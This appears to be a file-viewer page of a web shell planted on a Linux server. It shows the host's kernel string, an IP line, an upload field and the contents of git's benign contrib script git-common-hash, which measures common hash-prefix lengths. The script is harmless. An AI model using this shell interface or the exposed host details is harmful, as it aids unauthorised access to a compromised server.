AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.139.80.194


Current Path : /usr/share/doc/git/contrib/stats/
Upload File :
Current File : //usr/share/doc/git/contrib/stats/git-common-hash

#!/bin/sh

# This script displays the distribution of longest common hash prefixes.
# This can be used to determine the minimum prefix length to use
# for object names to be unique.

git rev-list --objects --all | sort | perl -lne '
  substr($_, 40) = "";
  # uncomment next line for a distribution of bits instead of hex chars
  # $_ = unpack("B*",pack("H*",$_));
  if (defined $p) {
    ($p ^ $_) =~ /^(\0*)/;
    $common = length $1;
    if (defined $pcommon) {
      $count[$pcommon > $common ? $pcommon : $common]++;
    } else {
      $count[$common]++; # first item
    }
  }
  $p = $_;
  $pcommon = $common;
  END {
    $count[$common]++; # last item
    print "$_: $count[$_]" for 0..$#count;
  }
'